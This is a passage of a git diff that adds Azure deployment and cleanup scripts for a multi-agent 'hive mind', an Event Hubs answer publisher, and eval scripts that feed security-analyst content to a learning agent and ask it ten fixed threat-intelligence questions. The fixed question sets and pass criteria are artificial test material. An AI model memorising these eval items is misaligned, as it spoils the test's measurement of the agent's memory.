+ if event_id: + self._publisher.set_context(event_id, question_id, run_id=run_id) + else: + self._publisher.clear_context() + return text + + def close(self) -> None: + self._source.close() + + def __getattr__(self, name): + return getattr(self._source, name) + + +class AnswerPublisher: + """Publishes agent answers to an Event Hubs response hub for eval correlation. + + Connected to the GoalSeekingAgent via the on_answer callback. When the agent + produces an answer in act(), it calls on_answer(agent_name, answer). This + publisher wraps the answer with the current event_id and publishes to the + eval-responses Event Hub. + + Also publishes AGENT_READY events when FEED_COMPLETE is received, so the + eval harness knows when all agents are idle. + + The current event_id is set by _CorrelatingInputSource before each process() call. + """ + + def __init__(self, agent_name: str, eh_connection_string: str, eval_hub_name: str): + self._agent_name = agent_name + self._current_event_id: str = "" + self._current_question_id: str = "" + self._current_run_id: str = "" + self._eh_connection_string = eh_connection_string + self._eval_hub_name = eval_hub_name + + if eh_connection_string: + logger.info("AnswerPublisher initialized for EH hub %s", eval_hub_name) + else: + logger.warning( + "AnswerPublisher: no EH connection string — answers will not be published" + ) + + def _publish_to_eh(self, payload: dict) -> None: + """Publish a JSON payload to the eval-responses Event Hub. + + Retries up to 3 times with exponential backoff (1s, 2s, 4s) to handle + intermittent CBS auth failures. Each retry creates a fresh producer so + a dead AMQP connection is never reused. If all retries fail, the + payload is printed to stdout as a ``EVAL_ANSWER:`` or ``AGENT_READY:`` + JSON line so Log Analytics can collect it as a fallback. + """ + if not self._eh_connection_string: + return + + max_retries = 3 + backoff_seconds = [1, 2, 4] + last_exc: Exception | None = None + + for attempt in range(1, max_retries + 1): + try: + from azure.eventhub import ( # type: ignore[import-unresolved] + EventData, + EventHubProducerClient, + ) + + producer = EventHubProducerClient.from_connection_string( + self._eh_connection_string, eventhub_name=self._eval_hub_name + ) + with producer: + batch = producer.create_batch(partition_key=self._agent_name) + batch.add(EventData(json.dumps(payload))) + producer.send_batch(batch) + return # success + except Exception as e: + last_exc = e + if attempt < max_retries: + delay = backoff_seconds[attempt - 1] + logger.warning( + "AnswerPublisher: EH publish attempt %d/%d failed (%s), " + "retrying in %ds with fresh producer", + attempt, + max_retries, + e, + delay, + ) + time.sleep(delay) + + # All retries exhausted — log at ERROR (this will hang the eval) + logger.error( + "AnswerPublisher: all %d EH publish attempts failed: %s", max_retries, last_exc + ) + + # Stdout fallback so Log Analytics can still capture the event + event_type = payload.get("event_type", "UNKNOWN") + fallback_line = json.dumps(payload, separators=(",", ":")) + print(f"{event_type}:{fallback_line}", flush=True) + + def set_context(self, event_id: str, question_id: str = "", run_id: str = "") -> None: + """Set the current event_id for answer correlation.""" + self._current_event_id = event_id + self._current_question_id = question_id + self._current_run_id = run_id + + def clear_context(self) -> None: + """Clear correlation context after processing completes.""" + self._current_event_id = "" + self._current_question_id = "" + self._current_run_id = "" + + def publish_answer(self, agent_name: str, answer: str) -> None: + """Callback for GoalSeekingAgent.on_answer — publish correlated answer.""" + if not self._current_event_id: + return + + self._publish_to_eh( + { + "event_type": "EVAL_ANSWER", + "event_id": self._current_event_id, + "question_id": self._current_question_id, + "agent_id": agent_name, + "answer": answer, + "run_id": self._current_run_id, + } + ) + logger.info("AnswerPublisher: published answer for event_id=%s", self._current_event_id) + + def publish_agent_ready(self, total_turns: str, run_id: str = "") -> None: + """Publish AGENT_READY event to eval-responses hub. + + Called when FEED_COMPLETE is received so the eval harness knows this + agent has finished processing all content. + """ + import uuid as _uuid + + self._publish_to_eh( + { + "event_type": "AGENT_READY", + "event_id": _uuid.uuid4().hex, + "agent_id": self._agent_name, + "total_turns": total_turns, + "run_id": run_id or self._current_run_id, + } + ) + logger.info("AnswerPublisher: published AGENT_READY for agent=%s", self._agent_name) + + def close(self) -> None: + """No persistent connection to close — producers are created per-send.""" + + +def _extract_input_text(event_type: str | None, payload: dict | None, raw_event: Any) -> str: + """Extract a plain input string from an event.""" + payload = payload or {} + + if event_type == "LEARN_CONTENT": + return payload.get("content", "") + + if event_type in ("QUERY", "INPUT", "network_graph.search_query"): + return payload.get("question", "") or payload.get("text", "") or payload.get("content", "") + + for key in ("content", "text", "question", "message", "data"): + val = payload.get(key, "") + if val and isinstance(val, str): + return val + + return f"Event received: {raw_event}" + + +def _ooda_tick( + agent_name: str, + memory: Any, + tick: int, + agent: Any, +) -> None: + """Single OODA loop tick — poll for incoming events and process them. + + Used by the legacy timer-driven path (local transport / non-EH). + """ + try: + events = memory.receive_events() if hasattr(memory, "receive_events") else [] + for event in events: + logger.info("Agent %s received event: %s", agent_name, event) + _handle_event(agent_name, event, memory, agent) + except Exception: + logger.debug("Event receive failed", exc_info=True) + + try: + query_events = ( + memory.receive_query_events() if hasattr(memory, "receive_query_events") else [] + ) + for event in query_events: + logger.info("Agent %s received query event: %s", agent_name, event) + _handle_event(agent_name, event, memory, agent) + except Exception: + logger.debug("Query event receive failed", exc_info=True) + + if tick % 10 == 0: + try: + stats = memory.stats() if hasattr(memory, "stats") else {} + logger.info("Agent %s stats (tick=%d): %s", agent_name, tick, stats) + except Exception: + logger.debug("Could not retrieve stats", exc_info=True) + + try: + la_stats = agent.get_memory_stats() + if la_stats: + logger.debug("Agent %s memory stats: %s", agent_name, la_stats) + except Exception: + logger.debug("get_memory_stats failed", exc_info=True) + + +if __name__ == "__main__": + main() diff --git a/deploy/azure_hive/cleanup_volumes.sh b/deploy/azure_hive/cleanup_volumes.sh new file mode 100755 index 000000000..18a41a911 --- /dev/null +++ b/deploy/azure_hive/cleanup_volumes.sh @@ -0,0 +1,138 @@ +#!/usr/bin/env bash +# cleanup_volumes.sh -- Purge Azure Files persistent volumes for the hive mind. +# +# Deletes all files inside the hive-data Azure File Share, optionally deleting +# the share itself. The storage account is left intact unless --delete-account +# is passed. +# +# Usage: +# bash deploy/azure_hive/cleanup_volumes.sh # wipe file share contents +# bash deploy/azure_hive/cleanup_volumes.sh --delete-share # delete the share itself +# bash deploy/azure_hive/cleanup_volumes.sh --delete-account # delete storage account +# bash deploy/azure_hive/cleanup_volumes.sh --dry-run # show what would be deleted +# +# Environment variable overrides: +# HIVE_RESOURCE_GROUP -- Resource group (default: hive-mind-rg) +# HIVE_STORAGE_ACCOUNT -- Storage account name (auto-detected if empty) +# HIVE_FILE_SHARE -- File share name (default: hive-data) + +set -euo pipefail + +RESOURCE_GROUP="${HIVE_RESOURCE_GROUP:-hive-mind-rg}" +STORAGE_ACCOUNT="${HIVE_STORAGE_ACCOUNT:-}" +FILE_SHARE="${HIVE_FILE_SHARE:-hive-data}" + +MODE="wipe" +case "${1:-}" in + --delete-share) MODE="delete-share" ;; + --delete-account) MODE="delete-account" ;; + --dry-run) MODE="dry-run" ;; +esac + +log() { echo "[$(date '+%H:%M:%S')] $*"; } +die() { echo "ERROR: $*" >&2; exit 1; } + +command -v az >/dev/null 2>&1 || die "Azure CLI (az) is required." + +# Auto-detect storage account if not set +if [[ -z "${STORAGE_ACCOUNT}" ]]; then + STORAGE_ACCOUNT=$(az storage account list \ + --resource-group "${RESOURCE_GROUP}" \ + --query "[?starts_with(name, 'hivesa')].name | [0]" \ + -o tsv 2>/dev/null) + [[ -n "${STORAGE_ACCOUNT}" ]] || die "Could not detect storage account in ${RESOURCE_GROUP}. Set HIVE_STORAGE_ACCOUNT." + log "Detected storage account: ${STORAGE_ACCOUNT}" +fi + +ACCOUNT_KEY=$(az storage account keys list \ + --account-name "${STORAGE_ACCOUNT}" \ + --resource-group "${RESOURCE_GROUP}" \ + --query "[0].value" -o tsv 2>/dev/null) + +[[ -n "${ACCOUNT_KEY}" ]] || die "Could not retrieve storage account key for ${STORAGE_ACCOUNT}." + +if [[ "${MODE}" == "delete-account" ]]; then + if [[ "${DRY_RUN:-}" == "true" || "${MODE}" == "dry-run" ]]; then + log "DRY-RUN: would delete storage account ${STORAGE_ACCOUNT}" + exit 0 + fi + log "Deleting storage account ${STORAGE_ACCOUNT}..." + az storage account delete \ + --name "${STORAGE_ACCOUNT}" \ + --resource-group "${RESOURCE_GROUP}" \ + --yes + log "Storage account deleted." + exit 0 +fi + +if [[ "${MODE}" == "delete-share" ]]; then + if [[ "${MODE}" == "dry-run" ]]; then + log "DRY-RUN: would delete file share ${FILE_SHARE} in ${STORAGE_ACCOUNT}" + exit 0 + fi + log "Deleting file share '${FILE_SHARE}' in ${STORAGE_ACCOUNT}..." + az storage share delete \ + --name "${FILE_SHARE}" \ + --account-name "${STORAGE_ACCOUNT}" \ + --account-key "${ACCOUNT_KEY}" \ + --output none + log "File share '${FILE_SHARE}' deleted." + log "Recreating empty share for future deployments..." + az storage share create \ + --name "${FILE_SHARE}" \ + --account-name "${STORAGE_ACCOUNT}" \ + --account-key "${ACCOUNT_KEY}" \ + --quota 100 \ + --output none + log "File share '${FILE_SHARE}' recreated (empty, 100 GiB quota)." + exit 0 +fi + +# Default: wipe (delete all files / directories inside the share) +log "Enumerating files in share '${FILE_SHARE}'..." +FILE_COUNT=0 +DIR_COUNT=0 + +while IFS= read -r item; do + [[ -z "${item}" ]] && continue + if [[ "${MODE}" == "dry-run" ]]; then + log "DRY-RUN: would delete: ${item}" + else + az storage file delete \ + --path "${item}" \ + --share-name "${FILE_SHARE}" \ + --account-name "${STORAGE_ACCOUNT}" \ + --account-key "${ACCOUNT_KEY}" \ + --output none 2>/dev/null || true + fi + (( FILE_COUNT++ )) || true +done < <(az storage file list \ + --share-name "${FILE_SHARE}" \ + --account-name "${STORAGE_ACCOUNT}" \ + --account-key "${ACCOUNT_KEY}" \ + --query "[?type=='file'].name" -o tsv 2>/dev/null) + +while IFS= read -r dir; do + [[ -z "${dir}" ]] && continue + if [[ "${MODE}" == "dry-run" ]]; then + log "DRY-RUN: would delete directory: ${dir}" + else + az storage directory delete \ + --name "${dir}" \ + --share-name "${FILE_SHARE}" \ + --account-name "${STORAGE_ACCOUNT}" \ + --account-key "${ACCOUNT_KEY}" \ + --output none 2>/dev/null || true + fi + (( DIR_COUNT++ )) || true +done < <(az storage file list \ + --share-name "${FILE_SHARE}" \ + --account-name "${STORAGE_ACCOUNT}" \ + --account-key "${ACCOUNT_KEY}" \ + --query "[?type=='dir'].name" -o tsv 2>/dev/null) + +if [[ "${MODE}" == "dry-run" ]]; then + log "DRY-RUN complete — ${FILE_COUNT} files and ${DIR_COUNT} directories would be removed." +else + log "Cleanup complete — removed ${FILE_COUNT} files and ${DIR_COUNT} directories from '${FILE_SHARE}'." +fi diff --git a/deploy/azure_hive/deploy.sh b/deploy/azure_hive/deploy.sh new file mode 100755 index 000000000..bd54be219 --- /dev/null +++ b/deploy/azure_hive/deploy.sh @@ -0,0 +1,295 @@ +#!/usr/bin/env bash +# deploy.sh -- Idempotent Azure deployment for the amplihack distributed hive mind. +# +# Provisions: +# - Resource group +# - Azure Container Registry (ACR) +# - Azure Event Hubs namespace + 3 hubs (hive-events, hive-shards, eval-responses) +# - EmptyDir volumes for Kuzu (POSIX locks required, Azure Files SMB unsupported) +# - Container Apps Environment +# - N Container Apps (ceil(HIVE_AGENT_COUNT / 5) apps, 5 agents each) +# +# NOTE: Service Bus removed — CBS auth fails in Container Apps. Using Event Hubs. +# +# Follows patterns from haymaker-workload-starter and experiments/hive_mind/deploy_azure_hive.sh. +# +# Usage: +# bash deploy/azure_hive/deploy.sh # Deploy everything +# bash deploy/azure_hive/deploy.sh --build-only # Build + push image only +# bash deploy/azure_hive/deploy.sh --infra-only # Provision infra only +# bash deploy/azure_hive/deploy.sh --cleanup # Tear down resource group +# bash deploy/azure_hive/deploy.sh --status # Show deployment status +# +# Prerequisites: +# - Azure CLI authenticated: az login +# - Docker daemon running (for image build) +# - ANTHROPIC_API_KEY env var set +# +# Environment variable overrides: +# HIVE_NAME -- Hive name (default: amplihive) +# HIVE_RESOURCE_GROUP -- Resource group (default: hive-mind-rg) +# HIVE_LOCATION -- Azure region (default: westus2) +# HIVE_AGENT_COUNT -- Total agents (default: 5) +# HIVE_AGENTS_PER_APP -- Agents per Container App (default: 5) +# HIVE_ACR_NAME -- ACR name override (auto-generated if empty) +# HIVE_IMAGE_TAG -- Docker image tag (default: latest) +# HIVE_TRANSPORT -- Transport type (default: azure_event_hubs) +# HIVE_AGENT_PROMPT_BASE -- Base system prompt for agents + +set -euo pipefail + +# ============================================================ +# Configuration +# ============================================================ + +HIVE_NAME="${HIVE_NAME:-amplihive}" +RESOURCE_GROUP="${HIVE_RESOURCE_GROUP:-hive-mind-rg}" +LOCATION="${HIVE_LOCATION:-westus2}" +FALLBACK_REGIONS="${HIVE_FALLBACK_REGIONS:-eastus,westus3,centralus}" +AGENT_COUNT="${HIVE_AGENT_COUNT:-5}" +AGENTS_PER_APP="${HIVE_AGENTS_PER_APP:-5}" +IMAGE_TAG="${HIVE_IMAGE_TAG:-latest}" +TRANSPORT="${HIVE_TRANSPORT:-azure_event_hubs}" +MEMORY_BACKEND="${HIVE_MEMORY_BACKEND:-cognitive}" +AGENT_MODEL="${HIVE_AGENT_MODEL:-claude-sonnet-4-6}" +AGENT_PROMPT_BASE="${HIVE_AGENT_PROMPT_BASE:-You are a distributed hive mind agent.}" + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "${SCRIPT_DIR}/../.." && pwd)" + +# ============================================================ +# Argument parsing +# ============================================================ + +MODE="all" +case "${1:-}" in + --build-only) MODE="build" ;; + --infra-only) MODE="infra" ;; + --cleanup) MODE="cleanup" ;; + --status) MODE="status" ;; +esac + +# ============================================================ +# Helpers +# ============================================================ + +log() { echo "[$(date '+%H:%M:%S')] $*"; } +die() { echo "ERROR: $*" >&2; exit 1; } + +require_cmd() { + command -v "$1" >/dev/null 2>&1 || die "$1 is required but not installed." +} + +# ============================================================ +# Cleanup +# ============================================================ + +if [[ "$MODE" == "cleanup" ]]; then + log "Deleting resource group ${RESOURCE_GROUP}..." + az group delete --name "${RESOURCE_GROUP}" --yes --no-wait + log "Cleanup initiated (deletion runs in background)." + exit 0 +fi + +# ============================================================ +# Status +# ============================================================ + +if [[ "$MODE" == "status" ]]; then + log "Deployment status for hive '${HIVE_NAME}' in ${RESOURCE_GROUP}:" + az containerapp list \ + --resource-group "${RESOURCE_GROUP}" \ + --query "[?starts_with(name, '${HIVE_NAME}')].{name:name,status:properties.runningStatus,replicas:properties.template.scale.minReplicas}" \ + --output table 2>/dev/null || echo "Resource group not found or no Container Apps deployed." + exit 0 +fi + +# ============================================================ +# Prerequisites +# ============================================================ + +require_cmd az +[[ -n "${ANTHROPIC_API_KEY:-}" ]] || die "ANTHROPIC_API_KEY env var is required." + +# ============================================================ +# Resource group +# ============================================================ + +log "Ensuring resource group ${RESOURCE_GROUP} in ${LOCATION}..." +az group create \ + --name "${RESOURCE_GROUP}" \ + --location "${LOCATION}" \ + --output none + +# ============================================================ +# Container Registry +# ============================================================ + +# Auto-generate ACR name if not set (must be globally unique, alphanumeric only) +if [[ -z "${HIVE_ACR_NAME:-}" ]]; then + SUFFIX=$(echo "${RESOURCE_GROUP}" | tr -cd 'a-z0-9' | head -c 8) + ACR_NAME="hivacr${SUFFIX}" +else + ACR_NAME="${HIVE_ACR_NAME}" +fi + +log "Ensuring ACR ${ACR_NAME}..." +az acr create \ + --name "${ACR_NAME}" \ + --resource-group "${RESOURCE_GROUP}" \ + --sku Basic \ + --admin-enabled true \ + --output none 2>/dev/null || true + +ACR_LOGIN_SERVER=$(az acr show \ + --name "${ACR_NAME}" \ + --resource-group "${RESOURCE_GROUP}" \ + --query loginServer -o tsv) + +IMAGE="${ACR_LOGIN_SERVER}/${HIVE_NAME}:${IMAGE_TAG}" + +# ============================================================ +# Build and push Docker image +# ============================================================ + +if [[ "$MODE" == "all" || "$MODE" == "build" ]]; then + if command -v docker >/dev/null 2>&1; then + log "Building Docker image locally..." + docker build --file "${SCRIPT_DIR}/Dockerfile" --tag "${IMAGE}" "${REPO_ROOT}" + log "Pushing image to ACR..." + az acr login --name "${ACR_NAME}" + docker push "${IMAGE}" + else + log "Docker not available, using ACR remote build..." + az acr build \ + --registry "${ACR_NAME}" \ + --image "${HIVE_NAME}:${IMAGE_TAG}" \ + --file "${SCRIPT_DIR}/Dockerfile" \ + "${REPO_ROOT}" \ + --no-logs 2>/dev/null || \ + az acr build \ + --registry "${ACR_NAME}" \ + --image "${HIVE_NAME}:${IMAGE_TAG}" \ + --file "${SCRIPT_DIR}/Dockerfile" \ + "${REPO_ROOT}" + fi + log "Image available: ${IMAGE}" +fi + +[[ "$MODE" == "build" ]] && exit 0 + +# ============================================================ +# Clean deploy: tear down ALL existing Container Apps +# ============================================================ +# Every deploy is from scratch — no mixing old and new revisions. +# Bicep cannot guarantee in-place updates clear stale code, so we +# delete all apps first and let Bicep recreate them fresh. + +log "Checking for existing Container Apps to tear down..." +EXISTING_APPS=$(az containerapp list \ + --resource-group "${RESOURCE_GROUP}" \ + --query "[?starts_with(name, '${HIVE_NAME}')].name" \ + -o tsv 2>/dev/null || true) + +if [[ -n "${EXISTING_APPS}" ]]; then + log "Tearing down existing Container Apps (clean deploy)..." + for APP_NAME in ${EXISTING_APPS}; do + log " Deleting ${APP_NAME}..." + az containerapp delete \ + --name "${APP_NAME}" \ + --resource-group "${RESOURCE_GROUP}" \ + --yes --no-wait 2>/dev/null || true + done + # Wait for all deletions to complete + log "Waiting for Container App deletions to complete..." + for APP_NAME in ${EXISTING_APPS}; do + while az containerapp show --name "${APP_NAME}" --resource-group "${RESOURCE_GROUP}" &>/dev/null; do + sleep 5 + done + done + log "All existing Container Apps deleted." +fi + +# ============================================================ +# Provision infrastructure via Bicep +# ============================================================ + +DEPLOY_MAX_RETRIES="${HIVE_DEPLOY_RETRIES:-3}" +DEPLOY_REGIONS="${LOCATION},${FALLBACK_REGIONS}" +DEPLOY_SUCCEEDED=false + +IFS=',' read -ra _REGIONS <<< "${DEPLOY_REGIONS}" +for _region in "${_REGIONS[@]}"; do + _region=$(echo "${_region}" | tr -d ' ') + DEPLOY_RETRY_DELAY=30 + + # Update resource group location if switching regions + if [[ "${_region}" != "${LOCATION}" ]]; then + log "Primary region ${LOCATION} failed. Trying fallback region: ${_region}" + LOCATION="${_region}" + fi + + for _deploy_attempt in $(seq 1 "${DEPLOY_MAX_RETRIES}"); do + log "Deploying Bicep to ${RESOURCE_GROUP} in ${_region} (attempt ${_deploy_attempt}/${DEPLOY_MAX_RETRIES})..." + DEPLOY_OUTPUT=$(az deployment group create \ + --resource-group "${RESOURCE_GROUP}" \ + --template-file "${SCRIPT_DIR}/main.bicep" \ + --parameters \ + hiveName="${HIVE_NAME}" \ + location="${_region}" \ + agentCount="${AGENT_COUNT}" \ + agentsPerApp="${AGENTS_PER_APP}" \ + image="${IMAGE}" \ + acrName="${ACR_NAME}" \ + anthropicApiKey="${ANTHROPIC_API_KEY}" \ + memoryTransport="${TRANSPORT}" \ + memoryBackend="${MEMORY_BACKEND}" \ + agentModel="${AGENT_MODEL}" \ + agentPromptBase="${AGENT_PROMPT_BASE}" \ + --output json 2>&1) && { DEPLOY_SUCCEEDED=true; break 2; } + + if [[ "${_deploy_attempt}" -lt "${DEPLOY_MAX_RETRIES}" ]]; then + log "Attempt ${_deploy_attempt} failed. Retrying in ${DEPLOY_RETRY_DELAY}s..." + log "Error: $(echo "${DEPLOY_OUTPUT}" | grep -o '"message":"[^"]*"' | head -1)" + sleep "${DEPLOY_RETRY_DELAY}" + DEPLOY_RETRY_DELAY=$((DEPLOY_RETRY_DELAY * 2)) + else + log "All ${DEPLOY_MAX_RETRIES} attempts failed in ${_region}." + # Clean up partial deployment before trying next region + log "Cleaning up partial resources in ${_region}..." + az containerapp env delete -n "hive-env-${HIVE_NAME}" -g "${RESOURCE_GROUP}" --yes 2>/dev/null || true + fi + done +done + +if [[ "${DEPLOY_SUCCEEDED}" != "true" ]]; then + log "Deployment failed in all regions: ${DEPLOY_REGIONS}" + echo "${DEPLOY_OUTPUT}" >&2 + exit 1 +fi + +log "Bicep deployment complete (region: ${LOCATION})." + +# Extract Event Hubs namespace name for reference +EH_NAMESPACE=$(echo "${DEPLOY_OUTPUT}" | python3 -c \ + "import json,sys; d=json.load(sys.stdin); print(d.get('properties',{}).get('outputs',{}).get('ehNamespaceName',{}).get('value',''))" 2>/dev/null || echo "") + +# ============================================================ +# Summary +# ============================================================ + +APP_COUNT=$(( (AGENT_COUNT + AGENTS_PER_APP - 1) / AGENTS_PER_APP )) + +log "============================================" +log "Hive '${HIVE_NAME}' deployment complete!" +log " Agents: ${AGENT_COUNT}" +log " Container Apps: ${APP_COUNT} (${AGENTS_PER_APP} agents each)" +log " ACR: ${ACR_LOGIN_SERVER}" +log " Transport: ${TRANSPORT} (azure_event_hubs)" +log " EH Input Hub: hive-events-${HIVE_NAME}" +log " EH Shards Hub: hive-shards-${HIVE_NAME}" +log " EH Eval Hub: eval-responses-${HIVE_NAME}" +[[ -n "${EH_NAMESPACE}" ]] && log " EH Namespace: ${EH_NAMESPACE}" +log "============================================" +log "View app status: bash deploy/azure_hive/deploy.sh --status" +log "Teardown: bash deploy/azure_hive/deploy.sh --cleanup" diff --git a/deploy/azure_hive/eval_100_turns.py b/deploy/azure_hive/eval_100_turns.py new file mode 100644 index 000000000..ec156b2ca --- /dev/null +++ b/deploy/azure_hive/eval_100_turns.py @@ -0,0 +1,273 @@ +#!/usr/bin/env python3 +"""eval_100_turns.py -- Update feed 100-turn eval via the refactored agent_entrypoint. + +Validates that the refactored agent_entrypoint uses LearningAgent for BOTH +learning (LEARN_CONTENT events) and answering (QUERY events), with no +memory.remember() or memory.recall() calls. + +Steps: + 1. Create a LearningAgent ("app-0") backed by a temp Kuzu DB. + 2. Feed 100 turns via _handle_event() LEARN_CONTENT dispatch path, + confirming learning_agent.learn_from_content() is called (not memory.remember). + 3. Ask 10 Q&A questions via _handle_event() QUERY dispatch path, + confirming learning_agent.answer_question() is called (not memory.recall). + 4. Write a JSON report to eval_100_turns_report.json. + +Usage: + python eval_100_turns.py [--output path/to/report.json] + ANTHROPIC_API_KEY= python eval_100_turns.py +""" + +from __future__ import annotations + +import argparse +import importlib.util +import json +import logging +import os +import sys +import tempfile +import time +from pathlib import Path +from unittest.mock import MagicMock + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +logger = logging.getLogger("eval_100_turns") + +_TURNS = 100 + +_QUESTIONS = [ + "What CVE is associated with the Log4Shell vulnerability?", + "Which threat actor is associated with APT29?", + "What happened in incident INC-2024-001?", + "How many documents did jsmith download in the insider threat incident?", + "What was the CVSS score of CVE-2021-44228?", + "Which malicious npm package was used in the supply chain attack?", + "What IP address was the C2 server in INC-2024-002?", + "How were the encrypted files restored after INC-2024-001?", + "What is DNS tunneling used for in the APT29 campaign?", + "What security improvement was enforced after INC-2024-001?", +] + + +def _load_feed_content_pool() -> list[str]: + feed_path = Path(__file__).parent / "feed_content.py" + spec = importlib.util.spec_from_file_location("feed_content", feed_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod._CONTENT_POOL + + +def _load_entrypoint(): + ep_path = Path(__file__).parent / "agent_entrypoint.py" + spec = importlib.util.spec_from_file_location("agent_entrypoint", ep_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +def run_eval(output_path: str) -> dict: + from amplihack.agents.goal_seeking.learning_agent import LearningAgent + + content_pool = _load_feed_content_pool() + entrypoint = _load_entrypoint() + + with tempfile.TemporaryDirectory() as tmpdir: + storage = Path(tmpdir) / "app-0" + storage.mkdir() + + agent = LearningAgent( + agent_name="app-0", + storage_path=storage, + use_hierarchical=True, + ) + + # ---------------------------------------------------------------- + # Phase 1: feed 100 turns via _handle_event LEARN_CONTENT path. + # This exercises the full entrypoint path and verifies: + # - learning_agent.learn_from_content() is called (not memory.remember) + # - memory.remember is never invoked + # ---------------------------------------------------------------- + logger.info("Phase 1: feeding %d LEARN_CONTENT events via _handle_event ...", _TURNS) + mock_memory = MagicMock() + + calls_to_learn_from_content = [] + original_learn = agent.learn_from_content + + def tracked_learn(content, *args, **kwargs): + result = original_learn(content, *args, **kwargs) + calls_to_learn_from_content.append(content[:80]) + return result + + agent.learn_from_content = tracked_learn + + t0 = time.time() + errors_learn = 0 + for turn in range(_TURNS): + content = content_pool[turn % len(content_pool)] + learn_event = { + "event_type": "LEARN_CONTENT", + "payload": {"turn": turn, "content": content}, + } + try: + entrypoint._handle_event("app-0", learn_event, mock_memory, agent) + except Exception as exc: + logger.warning("LEARN_CONTENT turn %d failed: %s", turn, exc) + errors_learn += 1 + + learn_elapsed = time.time() - t0 + remember_calls = mock_memory.remember.call_count + + logger.info( + "Phase 1 complete: %d turns fed via _handle_event, %d errors, %.1fs elapsed", + _TURNS, + errors_learn, + learn_elapsed, + ) + logger.info( + " learn_from_content called: %d times, memory.remember called: %d times", + len(calls_to_learn_from_content), + remember_calls, + ) + + # ---------------------------------------------------------------- + # Phase 2: answer 10 questions via _handle_event QUERY path. + # This verifies: + # - learning_agent.answer_question() is called (not memory.recall) + # - memory.recall is never invoked + # ---------------------------------------------------------------- + logger.info("Phase 2: querying via _handle_event QUERY dispatch ...") + mock_memory.reset_mock() + + calls_to_answer_question = [] + original_answer = agent.answer_question + + def tracked_answer(question, *args, **kwargs): + result = original_answer(question, *args, **kwargs) + calls_to_answer_question.append(question) + return result + + agent.answer_question = tracked_answer + + responses = [] + errors_query = 0 + + for i, question in enumerate(_QUESTIONS): + query_event = { + "event_type": "QUERY", + "payload": { + "query_id": f"q{i}", + "question": question, + }, + } + captured = {} + + def capture_response(qid, q, results, _cap=captured): + _cap["results"] = results + + mock_memory.send_query_response = capture_response + + try: + entrypoint._handle_event("app-0", query_event, mock_memory, agent) + answer = "" + if captured.get("results"): + answer = captured["results"][0].get("content", "") if captured["results"] else "" + passed = bool(answer) and not answer.lower().startswith("error") + responses.append({"question": question, "answer": answer, "passed": passed}) + logger.info("Q%d: %s\n -> %s...", i + 1, question[:60], answer[:100]) + except Exception as exc: + logger.warning("QUERY %d failed: %s", i, exc) + errors_query += 1 + responses.append( + {"question": question, "answer": "", "passed": False, "error": str(exc)} + ) + + passed_count = sum(1 for r in responses if r["passed"]) + recall_calls = mock_memory.recall.call_count + + logger.info( + "Phase 2 complete: %d/%d answered via LearningAgent, %d errors, " + "answer_question called %d times, memory.recall called %d times", + passed_count, + len(_QUESTIONS), + errors_query, + len(calls_to_answer_question), + recall_calls, + ) + + # Success criteria: + # - No learn errors + # - learn_from_content was called for all turns (no memory.remember) + # - At least one question answered + # - memory.recall never called (LearningAgent handles all answering) + success = ( + errors_learn == 0 + and len(calls_to_learn_from_content) == _TURNS + and remember_calls == 0 + and passed_count > 0 + and recall_calls == 0 + ) + + report = { + "agent_name": "app-0", + "turns_fed": _TURNS, + "learn_errors": errors_learn, + "learn_elapsed_s": round(learn_elapsed, 2), + "learn_from_content_calls": len(calls_to_learn_from_content), + "memory_remember_calls": remember_calls, + "questions_total": len(_QUESTIONS), + "questions_passed": passed_count, + "query_errors": errors_query, + "answer_question_calls": len(calls_to_answer_question), + "memory_recall_calls": recall_calls, + "qa_results": responses, + "success": success, + } + + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + logger.info("Report written to: %s", output_path) + return report + + +def main() -> int: + parser = argparse.ArgumentParser( + description=( + f"Feed {_TURNS} LEARN_CONTENT events and 10 QUERY events via " + "agent_entrypoint._handle_event to validate LearningAgent refactor." + ) + ) + parser.add_argument( + "--output", + default="eval_100_turns_report.json", + help="Path for JSON report (default: eval_100_turns_report.json)", + ) + args = parser.parse_args() + + report = run_eval(args.output) + + print() + print("=" * 65) + print(f"EVAL {_TURNS} TURNS (UPDATE FEED) — RESULTS") + print("=" * 65) + print(f" Turns fed via LEARN_CONTENT: {_TURNS} ({report['learn_errors']} errors)") + print(f" learn_from_content calls: {report['learn_from_content_calls']}") + print(f" memory.remember calls: {report['memory_remember_calls']} (must be 0)") + print(f" Learn elapsed: {report['learn_elapsed_s']}s") + print(f" Questions answered: {report['questions_passed']}/{report['questions_total']}") + print(f" answer_question calls: {report['answer_question_calls']}") + print(f" memory.recall calls: {report['memory_recall_calls']} (must be 0)") + print(f" Query errors: {report['query_errors']}") + print(f" Overall: {'PASS' if report['success'] else 'FAIL'}") + print("=" * 65) + print(f" Full report: {args.output}") + print() + + return 0 if report["success"] else 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/deploy/azure_hive/eval_5000_turns.py b/deploy/azure_hive/eval_5000_turns.py new file mode 100644 index 000000000..1ab74f209 --- /dev/null +++ b/deploy/azure_hive/eval_5000_turns.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +"""eval_5000_turns.py -- End-to-end eval: feed 5000 security analyst turns, query via LearningAgent. + +Extends eval_500_turns.py to 5000 turns for stress-testing memory ingestion +and retrieval at scale. Validates: + 1. All 5000 facts stored without errors. + 2. 10 Q&A questions answered via LearningAgent.answer_question (not raw recall). + 3. JSON report written. + +Usage: + python eval_5000_turns.py [--output path/to/report.json] + ANTHROPIC_API_KEY= python eval_5000_turns.py +""" + +from __future__ import annotations + +import argparse +import importlib.util +import json +import logging +import os +import sys +import tempfile +import time +from pathlib import Path +from unittest.mock import MagicMock + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +logger = logging.getLogger("eval_5000_turns") + +_TURNS = 5000 + +_QUESTIONS = [ + "What CVE is associated with the Log4Shell vulnerability?", + "Which threat actor is associated with APT29?", + "What happened in incident INC-2024-001?", + "How many documents did jsmith download in the insider threat incident?", + "What was the CVSS score of CVE-2021-44228?", + "Which malicious npm package was used in the supply chain attack?", + "What IP address was the C2 server in INC-2024-002?", + "How were the encrypted files restored after INC-2024-001?", + "What is DNS tunneling used for in the APT29 campaign?", + "What 